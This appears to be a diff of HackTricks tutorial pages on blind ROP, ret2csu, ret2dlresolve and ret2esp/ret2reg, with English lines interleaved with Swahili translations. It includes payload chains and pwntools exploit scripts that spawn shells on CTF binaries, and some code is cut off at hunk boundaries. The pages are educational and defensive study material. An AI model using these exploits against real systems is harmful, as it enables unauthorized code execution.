- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itanguka
- strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Kumbuka kwamba:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 inaelekeza kwa **`pop RSI; pop R15; ret;`**
- BROP + 0x9 inaelekeza kwa **`pop RDI; ret;`**
- PLT + 0xb inaelekeza kwa wito wa **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
Baada ya kupata `strcmp` inawezekana kuweka **`rdx`** kwa thamani kubwa kuliko 0.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Kumbuka kwamba kawaida `rdx` itakuwa tayari na thamani kubwa kuliko 0, hivyo hatua hii inaweza kuwa si ya lazima.
### 8. Finding Write or equivalent
### 8. Kutafuta Write au sawa
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Hatimaye, inahitajika gadget inayotoa data ili kutoa binary. Na katika hatua hii inawezekana **kudhibiti hoja 2 na kuweka `rdx` kuwa kubwa kuliko 0.**
There are 3 common funtions taht could be abused for this:
Kuna kazi 3 za kawaida ambazo zinaweza kutumiwa vibaya kwa hili:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
Hata hivyo, karatasi ya awali inataja tu ile ya **`write`**, hivyo hebu tuzungumze kuhusu hiyo:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
Tatizo la sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumaini kwamba inalingana na baadhi ya michango yetu.
Behaviour signatures to find those functions:
Saini za tabia za kupata kazi hizo:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi puts ilipatikana
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
## Automatic Exploitation
@ -118,7 +118,7 @@ Behaviour signatures to find those functions:
## References
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Karatasi ya awali: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Taarifa za Msingi
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyowasiliana. Miongoni mwa kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init
### Gadgets za Uchawi katika \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
Katika **`__libc_csu_init`**, kuna mfuatano mbili za maagizo (gadgets) za kuangazia:
1. Mfuatano wa kwanza unaturuhusu kuweka thamani katika register kadhaa (rbx, rbp, r12, r13, r14, r15). Hizi ni kama nafasi ambapo tunaweza kuhifadhi nambari au anwani tunazotaka kutumia baadaye.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Kifaa hiki kinatupa uwezo wa kudhibiti hizi register kwa kupiga thamani kutoka kwenye stack ndani yao.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. Mfululizo wa pili unatumia thamani tulizoweka kufanya mambo kadhaa:
- **Hamisha thamani maalum kwenye register nyingine**, ukizifanya ziwe tayari kwa matumizi yetu kama vigezo katika kazi.
- **Fanya wito kwa eneo** lililopangwa kwa kuongeza thamani katika r15 na rbx, kisha kuzaa rbx kwa 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **maagizo ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kukutana na **masharti** fulani ili kufikia hiyo:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
Masharti yatakuwa:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
- Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria cha \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` na `rbx` lazima wawe na thamani sawa ili kuepuka kuruka
- Kuna baadhi ya pops zilizokosekana unahitaji kuzingatia
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI na RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa gadget ya ret2csu ni kwa kufikia ofseti zake maalum:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Angalia ukurasa huu kwa maelezo zaidi:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Mfano
### Using the call
### Kutumia wito
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika register za `rdx` na `rsi` kama vigezo. Kawaida, ungeangalia gadgets ambazo zinaweka register hizi moja kwa moja, lakini huwezi kupata yoyote.
Here's where **ret2csu** comes into play:
Hapa ndipo **ret2csu** inapoingia:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kupop values kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
2. **Tumia Gadget ya Pili**: Ukiwa na register hizo zimewekwa, unatumia gadget ya pili. Hii inakuwezesha kuhamasisha thamani zako ulizochagua katika `rdx` na `rsi` (kutoka r14 na r13, mtawalia), ukitayarisha vigezo kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayoihesabu na kuweka katika `[r15 + rbx*8]`.
Una [**mfano wa kutumia mbinu hii na kuielezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndiyo exploit ya mwisho iliyotumika:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Kumbuka kwamba exploit iliyopita haikusudiwi kufanya **`RCE`**, inakusudia tu kuita kazi inayoitwa **`win`** (ikichukua anwani ya `win` kutoka stdin inayoita gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Kupita simu na kufikia ret
Exploit ifuatayo ilitolewa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia simu, in **kupita kulinganisha na kufikia `ret`** baada ya simu:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Kwa Nini Usitumie libc Moja kwa Moja?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Kawaida kesi hizi pia zina udhaifu wa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,35 @@
## Basic Information
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
Kama ilivyoelezwa katika ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitatatua alama (kama anwani za maktaba za nje) mara ya kwanza zinapotumika. Hii kutatua inafanyika kwa kuita kazi **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye stack marejeleo ya baadhi ya muundo inahitaji ili **kutatua** alama iliyotajwa.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya uhusiano wa dinamikali kutatua alama iliyotolewa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa awali wa ROP unaoitwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **muundo** na mfuatano **`'/bin/sh'`** vinapitishwa ili kuhifadhiwa na kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita **`_dl_runtime_resolve`**, ukiwa na **kutatua anwani ya `system`** katika muundo wa uongo na **kuita anwani hii** na anwani ya `$'/bin/sh'`.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Mbinu hii ni muhimu hasa ikiwa hakuna syscall gadgets (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv/) au [SROP](srop-sigreturn-oriented-programming/)) na hakuna njia za kuvuja anwani za libc.
Chek this video for a nice explanation about this technique in the second half of the video:
Cheki video hii kwa maelezo mazuri kuhusu mbinu hii katika nusu ya pili ya video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Au cheki hizi kurasa kwa maelezo ya hatua kwa hatua:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Andika muundo wa uongo mahali fulani
2. Weka hoja ya kwanza ya system (`$rdi = &'/bin/sh'`)
3. Weka kwenye stack anwani za muundo ili kuita **`_dl_runtime_resolve`**
4. **Kuita** `_dl_runtime_resolve`
5. **`system`** itatatuliwa na kuitwa na `'/bin/sh'` kama hoja
Kutoka kwenye [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), hivi ndivyo shambulio la **`ret2dlresolve`** linavyoonekana:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Example
## Mfano
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Mbichi
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Mifano Mingine & Marejeo
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi mdogo wa buffer overflow na kurudi. Ili ku exploit, bof inatumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi katika hapo meza za uongo za `dlresolve` ili kupakia `system`, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza juu ya stack**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya **`jmp esp`** au **`call esp`** amri. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati amri ya `ret` inatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Ikiwa **Address Space Layout Randomization (ASLR)** haijawashwa katika Windows au Linux, inawezekana kutumia amri za `jmp esp` au `call esp` zinazopatikana katika maktaba za pamoja. Hata hivyo, ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa ajili ya amri hizi (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya stack, inahakikisha kwamba amri zozote za `push` au `pop` zinazotekelezwa wakati wa operesheni ya kazi hazingilii shellcode. Kuingilia huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Kukosa nafasi
Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda ni byte chache tu), andika shellcode ya awali ya **`jmp`** kama:
```armasm
sub rsp, 0x30
jmp rsp
```
Na uandike shellcode mapema kwenye stack.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Mfano
Unaweza kupata mfano wa mbinu hii katika [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) ukiwa na exploit ya mwisho kama:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
Unaweza kuona mfano mwingine wa mbinu hii katika [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Kuna overflow ya buffer bila NX iliyoanzishwa, inatumika gadget ili **kupunguza anwani ya `$esp`** na kisha `jmp esp;` kuruka kwenye shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia maagizo ya **`call eax`** au **`jmp eax`** (yanayojulikana kama mbinu ya **ret2eax**), ikitoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, **usajili mwingine wowote** unaoshikilia anwani ya kuvutia unaweza kutumika (**ret2reg**).
### Example
### Mfano
You can find some examples here:&#x20;
Unaweza kupata mifano hapa:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** itahifadhi katika **`eax`** anwani ya buffer ambapo shellcode ilihifadhiwa na **`eax`** haijapangwa upya, hivyo inawezekana kutumia `ret2eax`.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
Katika ARM64 hakuna maagizo yanayoruhusu **kuruka kwenye usajili wa SP**. Inaweza kuwa inawezekana kupata gadget inayofanya **kuhamasisha sp kwenye usajili kisha kuruka kwenye usajili huo**, lakini katika libc ya kali yangu sikuweza kupata gadget kama hiyo:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Niliyogundua pekee ingekuwa kubadilisha thamani ya rejista ambapo sp ilikopiwa kabla ya kuruka kwake (hivyo ingekuwa isiyo na maana):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
Ikiwa rejista ina anwani ya kuvutia inawezekana kuruka kwake kwa kutafuta tu maagizo sahihi. Unaweza kutumia kitu kama:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
Katika ARM64, ni **`x0`** anayehifadhi thamani ya kurudi ya kazi, hivyo inaweza kuwa kwamba x0 inahifadhi anwani ya buffer inayodhibitiwa na mtumiaji yenye shellcode ya kutekeleza.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
Mfano wa msimbo:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
Kuangalia disassembly ya kazi inawezekana kuona kwamba **anwani ya buffer** (iliyohatarishwa na bof na **inayodhibitiwa na mtumiaji**) **imehifadhiwa katika `x0`** kabla ya kurudi kutoka kwa buffer overflow:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Pia inawezekana kupata gadget **`br x0`** katika kazi ya **`do_stuff`**:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Tutatumia gadget hiyo kuruka kwake kwa sababu binary imeandikwa **BILA PIE.** Kwa kutumia muundo inawezekana kuona kwamba **offset ya buffer overflow ni 80**, hivyo exploit itakuwa:
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
